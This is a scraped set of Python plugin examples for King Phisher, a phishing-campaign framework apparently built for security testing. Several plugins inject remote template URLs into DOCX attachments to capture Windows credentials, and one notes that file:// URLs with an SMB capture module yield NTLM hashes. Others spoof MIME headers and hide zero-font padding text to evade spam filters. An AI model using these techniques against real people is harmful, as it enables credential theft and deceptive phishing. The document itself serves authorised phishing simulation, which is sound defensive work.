Ejemplo n.º 1
0
class Plugin(plugins.ClientPlugin):
    authors = ['Spencer McIntyre']  # the plugins author
    classifiers = ['Plugin :: Client'
                   ]  # the list of classifiers for categorization
    title = 'Hello World!'  # the title of the plugin to be shown to users
    description = """
	A 'hello world' plugin to serve as a basic template and demonstration. This
	plugin will display a message box when King Phisher exits.
	"""                                 # a description of the plugin to be shown to users
    homepage = 'https://github.com/securestate/king-phisher-plugins'  # an optional home page
    options = [  # specify options which can be configured through the GUI
        plugins.ClientOptionString(
            'name',  # the name of the option as it will appear in the configuration
            'The name to which to say goodbye.',  # the description of the option as shown to users
            default='Alice Liddle',  # a default value for the option
            display_name='Your Name'  # a name of the option as shown to users
        ),
        plugins.ClientOptionBoolean('validiction',
                                    'Whether or not this plugin say good bye.',
                                    default=True,
                                    display_name='Say Good Bye'),
        plugins.ClientOptionInteger('some_number',
                                    'An example number option.',
                                    default=1337,
                                    display_name='A Number'),
        plugins.ClientOptionPort('tcp_port',
                                 'The TCP port to connect to.',
                                 default=80,
                                 display_name='Connection Port')
    ]
    req_min_py_version = '3.3.0'  # (optional) specify the required minimum version of python
    req_min_version = '1.4.0'  # (optional) specify the required minimum version of king phisher
    req_packages = {  # (optional) specify a dictionary of required package names
        'advancedhttpserver':
        has_ahs  # set from within the exception handler when importing
    }
    req_platforms = ('Linux', 'Windows'
                     )  # (optional) specify the supported platforms
    version = '1.0'  # (optional) specify this plugin's version

    # this is the primary plugin entry point which is executed when the plugin is enabled
    def initialize(self):
        print('Hello World!')
        self.signal_connect('exit', self.signal_exit)
        # it is necessary to return True to indicate that the initialization was successful
        # this allows the plugin to check its options and return false to indicate a failure
        return True

    # this is a cleanup method to allow the plugin to close any open resources
    def finalize(self):
        print('Good Bye World!')

    # the plugin connects this handler to the applications 'exit' signal
    def signal_exit(self, app):
        # check the 'validiction' option in the configuration
        if not self.config['validiction']:
            return
        gui_utilities.show_dialog_info(
            "Good bye {0}!".format(self.config['name']),
            app.get_active_window())
class Plugin(getattr(plugins, 'ClientPluginMailerAttachment', plugins.ClientPlugin)):
	authors = ['Ryan Hanson', 'Spencer McIntyre']
	title = 'Phishery DOCX URL Injector'
	description = """
	Use Phishery to inject Word Document Template URLs into DOCX files. This can
	be used in conjunction with a server page that requires Basic Authentication
	to collect Windows credentials. Note that for HTTPS URLs, the King Phisher
	server needs to be configured with a proper, trusted SSL certificate for
	the user to be presented with the basic authentication prompt.

	Phishery homepage: https://github.com/ryhanson/phishery
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	options = [
		plugins.ClientOptionString(
			'target_url',
			'An optional target URL. The default is the phishing URL.',
			default='{{ url.webserver }}',
			display_name='Target URL'
		)
	]
	req_min_version = '1.9.0b5'
	version = '2.0.1'
	def initialize(self):
		mailer_tab = self.application.main_tabs['mailer']
		self.text_insert = mailer_tab.tabs['send_messages'].text_insert
		self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab)
		return True

	def _get_target_url(self, target):
		target_url = self.config['target_url'].strip()
		if target_url:
			return self.render_template_string(target_url, target=target, description='target url')
		target_url = self.application.config['mailer.webserver_url']
		if target is not None:
			target_url += '?id=' + target.uid
		return target_url

	def process_attachment_file(self, input_path, output_path, target=None):
		if not path_is_doc_file(input_path):
			return
		target_url = self._get_target_url(target)
		if target_url is None:
			self.logger.warning('failed to get the target url, can not inject into the docx file')
			return
		phishery_inject(input_path, target_url, output_file=output_path)
		self.logger.info('wrote the patched file to: ' + output_path + ('' if target is None else ' with uid: ' + target.uid))

	def signal_send_precheck(self, _):
		input_path = self.application.config['mailer.attachment_file']
		if not path_is_doc_file(input_path):
			self.text_insert('The attachment is not compatible with the phishery plugin.\n')
			return False
		target_url = self._get_target_url(None)
		if target_url is None:
			self.text_insert('The phishery target URL is invalid.\n')
			return False
		return True
Ejemplo n.º 3
0
class Plugin(plugins.ClientPlugin):
	authors = ['Spencer McIntyre']
	classifiers = ['Plugin :: Client :: Email :: Spam Evasion']
	title = 'Custom Message MIME Headers'
	description = """
	Add custom MIME headers to messages that are sent. This can, for example be
	used to add a Sender and / or a Return-Path header to outgoing messages.
	Headers are rendered as template strings and can use variables that are
	valid in messages.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	options = [
		plugins.ClientOptionString(
			'headers',
			'The MIME headers to add to each\nof the messages, one per line.',
			display_name='MIME Headers',
			**({'multiline': True} if api_compatible else {})
		)
	]
	req_min_version = _min_version
	version = '1.0.1'
	_headers_split_regex = re.compile('^(?P<header>[\w-]+):\s*(?P<value>.+)?$')
	def initialize(self):
		mailer_tab = self.application.main_tabs['mailer']
		self.signal_connect('message-create', self.signal_message_create, gobject=mailer_tab)
		self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab)
		return True

	def get_headers(self, target=None):
		headers = self.config.get('headers').split('\n')
		for header_line in headers:
			header_line = header_line.strip()
			if not header_line:
				continue
			rendered_header_line = self.render_template_string(header_line, target=target, description='header line', log_to_mailer=False)
			if rendered_header_line is None:
				raise MimeHeaderParseError('failed to render', header_line)
			match = self._headers_split_regex.match(rendered_header_line)
			if match is None:
				raise MimeHeaderParseError('failed to parse', rendered_header_line)
			yield match.group('header'), match.group('value')

	def signal_message_create(self, mailer_tab, target, message):
		for header, value in self.get_headers(target):
			message[header] = value

	def signal_send_precheck(self, _):
		try:
			headers = tuple(self.get_headers())
		except MimeHeaderParseError as error:
			mailer_tab = self.application.main_tabs['mailer']
			text_insert = mailer_tab.tabs['send_messages'].text_insert
			text_insert("Custom MIME header error ({0}): {1}\n".format(error.message, error.header_line))
			return False
		return True
Ejemplo n.º 4
0
class Plugin(plugins.ClientPlugin):
    authors = ['Spencer McIntyre']
    title = 'Clockwork SMS'
    description = """
	Send SMS messages using the Clockwork SMS API's email gateway. While
	enabled, this plugin will automatically update phone numbers into email
	addresses for sending using the service.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionString('api_key',
                                   'Clockwork API Key',
                                   display_name='Clockwork SMS API Key')
    ]
    req_min_version = '1.10.0b3'
    version = '1.0.1'
    _sms_number_regex = re.compile(r'^[0-9]{10,12}')

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.signal_connect('send-precheck',
                            self.signal_send_precheck,
                            gobject=mailer_tab)
        self.signal_connect('target-create',
                            self.signal_target_create,
                            gobject=mailer_tab)
        return True

    def _get_balance(self):
        api_key = self.config['api_key']
        try:
            resp = requests.get(
                'https://api.clockworksms.com/http/balance?key=' + api_key)
        except requests.exceptions.RequestException:
            self.logger.warning('failed to check the clockwork sms balance',
                                exc_info=True)
            return None
        resp = resp.text.strip()
        message, details = resp.split(':', 1)
        details = details.lstrip()
        return message, details

    def signal_send_precheck(self, mailer_tab):
        api_key = self.config['api_key']
        text_insert = mailer_tab.tabs['send_messages'].text_insert
        if not api_key:
            text_insert('Invalid Clockwork SMS API key.\n')
            return False

        resp = self._get_balance()
        if resp is None:
            text_insert('Failed to check the Clockwork SMS API key.\n')
            return False
        message, details = resp

        if message.lower().startswith('error'):
            self.logger.warning('received ' + message + ' (' + details +
                                ') from clockwork api')
            text_insert("Received {0}: ({1}) from Clockwork SMS API.\n".format(
                message, details))
            return False
        if message.lower() != 'balance':
            self.logger.warning('received unknown response from clockwork api')
            text_insert(
                'Received an unknown response from the Clockwork SMS API.\n')
            return False
        text_insert('Current Clockwork SMS API balance: ' + details + '\n')
        return True

    def signal_target_create(self, mailer_tab, target):
        if self._sms_number_regex.match(target.email_address) is None:
            return
        target.email_address = target.email_address + '@' + self.config[
            'api_key'] + '.clockworksms.com'
class Plugin(plugins.ClientPlugin):
    authors = ['Jeremy Schoeneman']
    title = 'Sample Set Generator'
    classifiers = ['Plugin :: Client :: Tool']

    description = """
	Brings in a master list and generates a sample set from said list. 
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionString('master_csv',
                                   'Master list of targets to sample',
                                   display_name='Master CSV File'),
        plugins.ClientOptionString('sample_file',
                                   'CSV file to write the sample set to',
                                   display_name='Sample CSV File',
                                   default='~/sampled.csv'),
        plugins.ClientOptionInteger(
            'sample_size',
            'How many targets to sample',
            display_name='Sample Size',
        )
    ]
    version = '1.0'

    def initialize(self):
        self.add_menu_item('Tools > Create Sample Set', self.sample_setup)
        return True

    def sample_setup(self, _):
        self.logger.info('sample_setup reached')
        if not self.config['master_csv']:
            gui_utilities.show_dialog_error(
                'Missing Option', self.application.get_active_window(),
                'Please configure the "Master CSV File" option.')
            return
        if not self.config['sample_file']:
            gui_utilities.show_dialog_error(
                'Missing Option', self.application.get_active_window(),
                'Please configure the "Sample CSV File" option.')
            return
        if not self.config['sample_size']:
            gui_utilities.show_dialog_error(
                'Missing Option', self.application.get_active_window(),
                'Please configure the "Sample Size" option.')
            return
        self.logger.info('Config passed')

        outfile = self.expand_path(self.config['sample_file'])
        infile = self.expand_path(self.config['master_csv'])

        try:
            # Reads line locations into memory. Takes less memory than reading the whole file at once
            s = [0]
            linelocs = [
                s.append(s[0] + len(n)) or s.pop(0)
                for n in open(self.config['master_csv'])
            ]

            # Pulls the random samples based off the line locations and random
            with open(self.config['master_csv']) as f:
                file_len = sum(1 for l in f)
                chosen = sorted(
                    random.sample(linelocs, self.config['sample_size']))
                sample_set = []
                for offset in chosen:
                    f.seek(offset)
                    sample_set.append(f.readline().strip('\n'))
                    random.shuffle(sample_set)
            f.close()
        except IOError as e:
            self.logger.error('outputting file error', exc_info=True)

        try:
            # Writes to file
            with open(outfile, 'w', newline="\n") as of:
                for sample in sample_set:
                    of.write(sample + '\n')
            of.close()
            self.logger.info('Sample set exported successfully')

        except IOError as e:
            self.logger.error('outputting file error', exc_info=True)
        return

    def expand_path(self, output_file, *args, **kwargs):
        expanded_path = _expand_path(output_file, *args, **kwargs)
        try:
            expanded_path = mailer.render_message_template(
                expanded_path, self.application.config)
        except jinja2.exceptions.TemplateSyntaxError as error:
            self.logger.error(
                "jinja2 syntax error ({0}) in directory: {1}".format(
                    error.message, output_file))
            gui_utilities.show_dialog_error(
                'Error', self.application.get_active_window(),
                'Error creating the CSV file.')
            return None
        except ValueError as error:
            self.logger.error("value error ({0}) in directory: {1}".format(
                error, output_file))
            gui_utilities.show_dialog_error(
                'Error', self.application.get_active_window(),
                'Error creating the CSV file.')
            return None
        return expanded_path
class Plugin(
        getattr(plugins, 'ClientPluginMailerAttachment',
                plugins.ClientPlugin)):
    authors = ['Ryan Hanson', 'Spencer McIntyre', 'Erik Daguerre']
    classifiers = ['Plugin :: Client :: Email :: Attachment', 'Script :: CLI']
    title = 'Phishery DOCX URL Injector'
    description = """
	Inject Word Document Template URLs into DOCX files. The Phishery technique
	is used to place multiple document template URLs into the word document (one
	per-line from the plugin settings).
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionString(
            'target_url',
            'An optional target URLs. The default is the phishing URLs.',
            default='{{ url.webserver }}',
            display_name='Target URLs',
            **({
                'multiline': True
            } if api_compatible else {})),
        plugins.ClientOptionBoolean(
            'add_landing_pages',
            'Add all document URLs as landing pages to track visits.',
            default=True,
            display_name='Add Landing Pages')
    ]
    reference_urls = ['https://github.com/ryhanson/phishery']
    req_min_version = min_version
    version = '2.2.0'

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.text_insert = mailer_tab.tabs['send_messages'].text_insert
        self.signal_connect('send-precheck',
                            self.signal_send_precheck,
                            gobject=mailer_tab)
        return True

    def _get_target_url(self, target):
        target_url = self.config['target_url'].strip()
        if target_url:
            return self.render_template_string(target_url,
                                               target=target,
                                               description='target url')
        target_url = self.application.config['mailer.webserver_url']
        if target is not None:
            target_url += '?id=' + target.uid
        return target_url

    def process_attachment_file(self, input_path, output_path, target=None):
        if not path_is_doc_file(input_path):
            return
        target_url = self._get_target_url(target)
        if target_url is None:
            self.logger.warning(
                'failed to get the target url, can not inject into the docx file'
            )
            return
        phishery_inject(input_path, target_url, output_file=output_path)
        self.logger.info('wrote the patched file to: ' + output_path +
                         ('' if target is None else ' with uid: ' +
                          target.uid))

    def signal_send_precheck(self, _):
        input_path = self.application.config['mailer.attachment_file']
        if not path_is_doc_file(input_path):
            self.text_insert(
                'The attachment is not compatible with the phishery plugin.\n')
            return False
        target_url = self._get_target_url(None)
        if target_url is None:
            self.text_insert('The phishery target URL is invalid.\n')
            return False

        if not self.config['add_landing_pages']:
            return True
        document_urls = target_url.split()
        for document_url in document_urls:
            parsed_url = urllib.parse.urlparse(document_url)
            hostname = parsed_url.netloc
            landing_page = parsed_url.path
            landing_page.lstrip('/')
            self.application.rpc('campaign/landing_page/new',
                                 self.application.config['campaign_id'],
                                 hostname, landing_page)
        return True
Ejemplo n.º 7
0
class Plugin(plugins.ClientPlugin):
    authors = ['Spencer McIntyre', 'Mike Stringer']
    classifiers = ['Plugin :: Client :: Email :: Spam Evasion']
    title = 'Message Padding'
    description = """
	Add and modify custom HTML messages from a file to reduce Spam Assassin
	scores. This plugin interacts with the message content to append a long
	series of randomly generated sentences to meet the ideal image-text ratio.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionString(
            'corpus',
            description='Text file containing text to generate dynamic padding',
            default=os.path.join(PLUGIN_PATH, 'corpus.txt'),
            display_name='Corpus File'),
        plugins.ClientOptionBoolean(
            'dynamic_padding',
            description=
            'Sets whether dynamically generated or static padding is appended to the messaged',
            default=True)
    ]
    req_min_version = '1.10.0'
    version = '1.0'
    req_packages = {'markovify': has_markovify}

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.signal_connect('message-create',
                            self.signal_message_create,
                            gobject=mailer_tab)
        if os.path.isfile(os.path.realpath(self.config['corpus'])):
            self.corpus = os.path.realpath(self.config['corpus'])
        else:
            self.corpus = None
        self.logger.debug('corpus file: ' + repr(self.corpus))
        if self.corpus:
            self.dynamic = self.config['dynamic_padding']
        else:
            if self.config['dynamic_padding']:
                self.logger.warning(
                    'the corpus file is unavailable, ignoring the dynamic padding setting'
                )
            self.dynamic = False
        return True

    def signal_message_create(self, mailer_tab, target, message):
        for part in message.walk():
            if not part.get_content_type().startswith('text/html'):
                continue
            payload_string = part.payload_string
            tag = '</html>'
            if tag not in payload_string:
                self.logger.warning('can not find ' + tag +
                                    ' tag to anchor the message padding')
                continue
            part.payload_string = payload_string.replace(
                tag,
                self.make_padding() + tag)

    def make_padding(self):
        if self.dynamic:
            f = open(self.corpus, 'r')
            text = markovify.Text(f)
            self.logger.info('generating dynamic padding from corpus')
            pad = '<p style="font-size: 0px">'
            for i in range(1, 50):
                temp = text.make_sentence()
                if temp is not None:
                    pad += ' ' + temp
                    if i % 5 == 0:
                        pad += ' </br>'
                else:
                    pad += ' </br>'
            pad += ' </p>'
            self.logger.info('dynamic padding generated successfully')
            f.close()
        else:
            self.logger.warning('message created using static padding')
            pad = STATIC_PADDING
        return pad
Ejemplo n.º 8
0
class Plugin(
        getattr(plugins, 'ClientPluginMailerAttachment',
                plugins.ClientPlugin)):
    authors = ['Ryan Hanson', 'Spencer McIntyre', 'Erik Daguerre']
    classifiers = ['Plugin :: Client :: Email :: Attachment', 'Script :: CLI']
    title = 'Phishery DOCX URL Injector'
    description = """
	Inject Word Document Template URLs into DOCX files. The Phishery technique is
	used to place multiple document template URLs into the word document (one per
	line from the plugin settings).\n\n
	* HTTP URL\n\n
	The Jinja variable {{ url.webserver }} can be used for an HTTP URL to track when
	documents are opened.\n
	Note that to only track opened documents, DO NOT put a URL link into the
	phishing email to the landing page. This will ensure that visits are only
	registered for instance where the document is opened.\n\n
	* HTTPS URL\n\n
	The Jinja variable {{ url.webserver }} can be used for an HTTPS landing page
	that requires basic authentication.\n
	Note that for HTTPS URLs, the King Phisher server needs to be configured with a
	proper, trusted SSL certificate for the user to be presented with the basic
	authentication prompt.\n\n
	* FILE URL\n\n
	Utilizing the file://yourtargetserver/somepath URL format will capture SMB
	credentials.\n
	Note that King Phisher does not support SMB, and utilization of SMB requires
	that a separate capture/sniffer application such as Metasploit's
	auxiliary/server/capture/smb module will have to be used to capture NTLM hashes.
	The plugin and King Phisher will only support injecting the URL path into the
	document.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionString(
            'target_url',
            'An optional target URLs. The default is the phishing URLs.',
            default='{{ url.webserver }}',
            display_name='Target URLs',
            **({
                'multiline': True
            } if api_compatible else {})),
        plugins.ClientOptionBoolean(
            'add_landing_pages',
            'Add all document URLs as landing pages to track visits.',
            default=True,
            display_name='Add Landing Pages')
    ]
    reference_urls = ['https://github.com/ryhanson/phishery']
    req_min_version = min_version
    version = '2.1.0'

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.text_insert = mailer_tab.tabs['send_messages'].text_insert
        self.signal_connect('send-precheck',
                            self.signal_send_precheck,
                            gobject=mailer_tab)
        return True

    def _get_target_url(self, target):
        target_url = self.config['target_url'].strip()
        if target_url:
            return self.render_template_string(target_url,
                                               target=target,
                                               description='target url')
        target_url = self.application.config['mailer.webserver_url']
        if target is not None:
            target_url += '?id=' + target.uid
        return target_url

    def process_attachment_file(self, input_path, output_path, target=None):
        if not path_is_doc_file(input_path):
            return
        target_url = self._get_target_url(target)
        if target_url is None:
            self.logger.warning(
                'failed to get the target url, can not inject into the docx file'
            )
            return
        phishery_inject(input_path, target_url, output_file=output_path)
        self.logger.info('wrote the patched file to: ' + output_path +
                         ('' if target is None else ' with uid: ' +
                          target.uid))

    def signal_send_precheck(self, _):
        input_path = self.application.config['mailer.attachment_file']
        if not path_is_doc_file(input_path):
            self.text_insert(
                'The attachment is not compatible with the phishery plugin.\n')
            return False
        target_url = self._get_target_url(None)
        if target_url is None:
            self.text_insert('The phishery target URL is invalid.\n')
            return False

        if not self.config['add_landing_pages']:
            return True
        document_urls = target_url.split()
        for document_url in document_urls:
            parsed_url = urllib.parse.urlparse(document_url)
            hostname = parsed_url.netloc
            landing_page = parsed_url.path
            landing_page.lstrip('/')
            self.application.rpc('campaign/landing_page/new',
                                 self.application.config['campaign_id'],
                                 hostname, landing_page)
        return True
Ejemplo n.º 9
0
class Plugin(
        getattr(plugins, 'ClientPluginMailerAttachment',
                plugins.ClientPlugin)):
    authors = ['Jeremy Schoeneman']
    classifiers = ['Plugin :: Client :: Email :: Attachment']
    title = 'Generate PDF'
    description = """
	Generates a PDF file with a link which includes the campaign URL with the
	individual message_id required to track individual visits to a website.
	Visit https://github.com/y4utj4/pdf_generator for example template files to
	use with this plugin.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionPath('logo',
                                 'Image to include into the pdf',
                                 display_name='Logo / Inline Image',
                                 path_type='file-open'),
        plugins.ClientOptionString('link_text',
                                   'Text for inserted link',
                                   default='Click here to accept',
                                   display_name='Link Text')
    ]
    req_min_version = '1.8.0'
    req_packages = {'reportlab': has_reportlab}
    version = '1.1'

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.add_menu_item('Tools > Create PDF Preview', self.make_preview)
        return True

    def make_preview(self, _):
        input_path = self.application.config['mailer.attachment_file']
        if not os.path.isfile(input_path) and os.access(input_path, os.R_OK):
            gui_utilities.show_dialog_error(
                'PDF Build Error', self.application.get_active_window(),
                'An invalid attachment file is specified.')
            return

        dialog = extras.FileChooserDialog('Save Generated PDF File',
                                          self.application.get_active_window())
        response = dialog.run_quick_save('preview.pdf')
        dialog.destroy()
        if response is None:
            return

        output_path = response['target_path']
        if not self.process_attachment_file(input_path, output_path):
            gui_utilities.show_dialog_error(
                'PDF Build Error', self.application.get_active_window(),
                'Failed to create the PDF file.')
            return
        gui_utilities.show_dialog_info('PDF Created',
                                       self.application.get_active_window(),
                                       'Successfully created the PDF file.')

    def process_attachment_file(self, input_path, output_path, target=None):
        output_path, _ = os.path.splitext(output_path)
        output_path += '.pdf'

        pdf_file = platypus.SimpleDocTemplate(output_path,
                                              pagesize=letter,
                                              rightMargin=72,
                                              leftMargin=72,
                                              topMargin=72,
                                              bottomMargin=18)

        url = self.application.config['mailer.webserver_url']
        if target is not None:
            url += '?uid=' + target.uid

        try:
            pdf_template = self.get_template(input_path, url)
            pdf_file.multiBuild(pdf_template)
        except Exception as err:
            self.logger.error('failed to build the pdf document',
                              exc_info=True)
            return
        self.logger.info('wrote pdf file to: ' + output_path +
                         ('' if target is None else ' with uid: ' +
                          target.uid))
        return output_path

    def get_template(self, template_file, url):
        formatted_time = time.ctime()
        company = self.application.config['mailer.company_name']
        sender = self.application.config['mailer.source_email_alias']

        story = []
        click_me = saxutils.escape(self.config['link_text'])
        link = '<font color=blue><link href="' + url + '">' + click_me + '</link></font>'

        logo_path = self.config['logo']
        if logo_path:
            img = platypus.Image(logo_path, 2 * inch, inch)
            story.append(img)

        style_sheet = styles.getSampleStyleSheet()
        style_sheet.add(
            styles.ParagraphStyle(name='Justify', alignment=TA_JUSTIFY))
        ptext = '<font size=10>' + formatted_time + '</font>'
        story.append(platypus.Spacer(1, 12))
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 12))
        with open(template_file, 'r') as file_h:
            for line in file_h:
                story.append(platypus.Paragraph(line, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 8))
        story.append(platypus.Paragraph(link, style_sheet['Justify']))
        story.append(platypus.Spacer(1, 12))
        ptext = '<font size=10>Sincerely,</font>'
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 12))
        ptext = '<font size=10>' + sender + '</font>'
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 12))
        ptext = '<font size=10>' + company + '</font>'
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        return story
class Plugin(plugins.ClientPlugin):
    authors = ['Jeremy Schoeneman']
    title = 'Upload KPM'
    description = """
	Saves a KPM file to the King Phisher server when sending messages. The user
	must have write permissions to the specified directories. Both the "Local
	Directory" and "Remote Directory" options can use the variables that are
	available for use in message templates.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionString(
            'local_directory',
            'Local directory to save the KPM file to',
            default=
            '$HOME/{{ campaign.name }}_{{ time.local | strftime(\'%Y-%m-%d_%H:%M\') }}.kpm',
            display_name='Local Directory'),
        plugins.ClientOptionString(
            'remote_directory',
            'Directory on the server to upload the KPM file to',
            default=
            '/usr/share/{{ campaign.name }}_{{ time.local | strftime(\'%Y-%m-%d_%H:%M\') }}.kpm',
            display_name='Remote Directory')
    ]
    req_min_version = '1.6.0b3'
    version = '1.2'

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.text_insert = mailer_tab.tabs['send_messages'].text_insert
        self.signal_connect('send-precheck',
                            self.signal_save_kpm,
                            gobject=mailer_tab)
        return True

    def signal_save_kpm(self, mailer_tab):
        if not any(
            (self.config['local_directory'], self.config['remote_directory'])):
            self.logger.debug(
                'skipping exporting kpm archive due to no directories being specified'
            )
            return True
        fd, temp_kpm_path = tempfile.mkstemp(suffix='.kpm')
        os.close(fd)

        self.logger.debug('writing temporary kpm archive file to: ' +
                          temp_kpm_path)
        if not mailer_tab.export_message_data(path=temp_kpm_path):
            self.logger.error('failed to export the temporary kpm file')
            self.text_insert('Failed to export the KPM file\n')
            return False

        result = True
        if self.config['local_directory'] and not self._save_local_kpm(
                temp_kpm_path):
            result = False
        if self.config['remote_directory'] and not self._save_remote_kpm(
                temp_kpm_path):
            result = False
        os.remove(temp_kpm_path)
        return result

    def _expand_path(self, path, *args, **kwargs):
        expanded_path = _expand_path(path, *args, **kwargs)
        try:
            expanded_path = mailer.render_message_template(
                expanded_path, self.application.config)
        except jinja2.exceptions.TemplateSyntaxError as error:
            self.logger.error(
                "jinja2 syntax error ({0}) in directory: {1}".format(
                    error.message, path))
            self.text_insert(
                "Jinja2 syntax error ({0}) in directory: {1}\n".format(
                    error.message, path))
            return None
        except ValueError as error:
            self.logger.error("value error ({0}) in directory: {1}".format(
                error, path))
            self.text_insert("Value error ({0}) in directory: {1}\n".format(
                error, path))
            return None
        return expanded_path

    def _save_local_kpm(self, local_kpm):
        target_kpm = self._expand_path(self.config['local_directory'])
        if target_kpm is None:
            return False

        try:
            shutil.copyfile(local_kpm, target_kpm)
        except Exception:
            self.logger.error('failed to save the kpm archive file to: ' +
                              target_kpm)
            self.text_insert('Failed to save the KPM archive file to: ' +
                             target_kpm + '\n')
            return False
        self.logger.info('kpm archive successfully saved to: ' + target_kpm)
        return True

    def _save_remote_kpm(self, local_kpm):
        target_kpm = self._expand_path(self.config['remote_directory'],
                                       pathmod=posixpath)
        if target_kpm is None:
            return False

        connection = self.application._ssh_forwarder
        if connection is None:
            self.logger.info(
                'skipping uploading kpm archive due to the absence of an ssh connection'
            )
            return True

        sftp = self.application._ssh_forwarder.client.open_sftp()
        try:
            sftp.put(local_kpm, target_kpm)
        except Exception:
            self.logger.error('failed to upload the kpm archive file to: ' +
                              target_kpm)
            self.text_insert('Failed to upload the KPM archive file to: ' +
                             target_kpm + '\n')
            return False
        self.logger.info('kpm archive successfully uploaded to: ' + target_kpm)
        return True
Ejemplo n.º 11
0
class Plugin(plugins.ClientPlugin):
    authors = ['Jeremy Schoeneman']
    title = 'Generate PDF'
    description = """
	Generates a PDF file with a link which includes the campaign URL with the
	individual message_id required to track individual visits to a website.
	Visit https://github.com/y4utj4/pdf_generator for example template files to
	use with this plugin.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugins.ClientOptionPath('output_pdf',
                                 'pdf being generated',
                                 default='~/Attachment1.pdf',
                                 display_name='* Output PDF File',
                                 path_type='file-save'),
        plugins.ClientOptionPath('template_file',
                                 'Template file to read from',
                                 default='~/template.txt',
                                 display_name='* Template File',
                                 path_type='file-open'),
        plugins.ClientOptionPath('logo',
                                 'Image to include into the pdf',
                                 display_name='Logo / Inline Image',
                                 path_type='file-open'),
        plugins.ClientOptionString('link_text',
                                   'Text for inserted link',
                                   default='Click here to accept',
                                   display_name='Link Text')
    ]
    req_min_version = '1.7.0b1'
    req_packages = {'reportlab': has_reportlab}

    def initialize(self):
        mailer_tab = self.application.main_tabs['mailer']
        self.text_insert = mailer_tab.tabs['send_messages'].text_insert
        self.add_menu_item('Tools > Create PDF Preview', self.make_preview)
        self.signal_connect('send-precheck',
                            self.signal_send_precheck,
                            gobject=mailer_tab)
        self.signal_connect('send-target',
                            self.signal_send_target,
                            gobject=mailer_tab)
        self.signal_connect('send-finished',
                            self.signal_send_finished,
                            gobject=mailer_tab)
        return True

    def attach_pdf(self, outfile):
        self.application.config['mailer.attachment_file'] = outfile

    def missing_options(self):
        # return true if a required option is missing or otherwise invalid
        if not all((self.config['template_file'], self.config['output_pdf'],
                    self.config['link_text'])):
            self.logger.warning(
                'options required to generate a pdf are missing')
            gui_utilities.show_dialog_error(
                'Configuration Error', self.application.get_active_window(),
                'One or more of the options required to generate a PDF file are invalid.'
            )
            return True
        template_file = self.config['template_file']
        if not os.access(template_file, os.R_OK):
            self.logger.warning('can not access pdf template file: ' +
                                template_file)
            gui_utilities.show_dialog_error(
                'Configuration Error', self.application.get_active_window(),
                'Can not access the PDF template file.')
            return True
        return False

    def make_preview(self, _):
        if self.missing_options():
            return False
        if not self.build_pdf():
            gui_utilities.show_dialog_info(
                'PDF Build Error', self.application.get_active_window(),
                'Failed to create the PDF file.')
            return
        gui_utilities.show_dialog_info('PDF Created',
                                       self.application.get_active_window(),
                                       'Successfully created the PDF file.')

    def build_pdf(self, target=None):
        output_pdf = self.config['output_pdf']
        pdf_file = platypus.SimpleDocTemplate(output_pdf,
                                              pagesize=letter,
                                              rightMargin=72,
                                              leftMargin=72,
                                              topMargin=72,
                                              bottomMargin=18)
        url = self.application.config['mailer.webserver_url']
        if target is not None:
            url += '?uid=' + target.uid
        pdf_template = self.get_template(url)
        try:
            pdf_file.multiBuild(pdf_template)
        except Exception as err:
            self.logger.error('failed to build the pdf document',
                              exc_info=True)
            return False
        self.logger.info('wrote pdf file to: ' + output_pdf +
                         ('' if target is None else ' with uid: ' +
                          target.uid))
        return True

    def get_template(self, url):
        formatted_time = time.ctime()
        company = self.application.config['mailer.company_name']
        sender = self.application.config['mailer.source_email_alias']
        template_file = self.config['template_file']

        story = []
        click_me = saxutils.escape(self.config['link_text'])
        link = '<font color=blue><link href="' + url + '">' + click_me + '</link></font>'

        logo_path = self.config['logo']
        if logo_path:
            img = platypus.Image(logo_path, 2 * inch, inch)
            story.append(img)

        style_sheet = styles.getSampleStyleSheet()
        style_sheet.add(
            styles.ParagraphStyle(name='Justify', alignment=TA_JUSTIFY))
        ptext = '<font size=10>' + formatted_time + '</font>'
        story.append(platypus.Spacer(1, 12))
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 12))
        with open(template_file, 'r') as file_h:
            for line in file_h:
                story.append(platypus.Paragraph(line, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 8))
        story.append(platypus.Paragraph(link, style_sheet['Justify']))
        story.append(platypus.Spacer(1, 12))
        ptext = '<font size=10>Sincerely,</font>'
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 12))
        ptext = '<font size=10>' + sender + '</font>'
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        story.append(platypus.Spacer(1, 12))
        ptext = '<font size=10>' + company + '</font>'
        story.append(platypus.Paragraph(ptext, style_sheet['Normal']))
        return story

    def signal_send_precheck(self, _):
        if self.missing_options():
            self.text_insert(
                'One or more of the options required to generate a PDF file are invalid.\n'
            )
            return False
        return True

